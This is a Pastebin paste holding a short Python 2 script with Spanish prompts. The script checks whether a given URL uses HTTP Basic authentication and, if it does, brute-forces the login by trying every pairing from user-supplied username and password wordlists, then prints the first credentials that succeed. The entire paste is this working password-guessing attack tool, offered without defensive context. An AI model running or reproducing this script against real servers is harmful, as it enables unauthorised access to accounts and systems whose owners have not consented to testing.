Advertisement
Guest User

Untitled

a guest
Jun 29th, 2017
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.31 KB | None | 0 0
  1. import base64
  2. import httplib
  3.    
  4. print "Inserta   la URL: "
  5. url=raw_input()
  6. pagina=httplib.HTTP(url)
  7. pagina.putrequest("GET" , "/")
  8. pagina.endheaders()
  9. codigo=pagina.getreply()[0]
  10. if codigo==401:
  11.     print url, "Si usa autentificacion basica"
  12.     file_user=open(raw_input("Ingresa el diccionario de users: "),"r")
  13.     file_pass=open(raw_input("Ingresa el diccionario de passwords: "),"r")
  14.     users=(file_user.read()).split("\n")
  15.     passwds=(file_pass.read()).split("\n")
  16.     print "Realizando escaneo puede tardar dependiendo del tamano del diccionario \n y de el estado de la red"
  17.     for user in users:
  18.         for psswd in passwds:
  19.             auth=base64.encodestring(user+":"+psswd)[:-1]
  20.             autheader="Basic "+auth
  21.             pagina1=httplib.HTTP(url)
  22.             pagina1.putrequest("GET" , "/")
  23.             pagina1.putheader("User-Agent", "Test")
  24.             pagina1.putheader("Authorization", autheader)
  25.             pagina1.endheaders()
  26.             reply=pagina1.getreply()[0]
  27.             if reply==200:
  28.                 print "Usuario: ", user," Password:" ,psswd
  29.                 break
  30.             del pagina1
  31.         if reply==200:
  32.             break
  33.     if reply!=200:
  34.         print "No hay resultados, prueba con otro diccionario"
  35. else:
  36.     print url, "no usa autentificacion basica HTTP"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement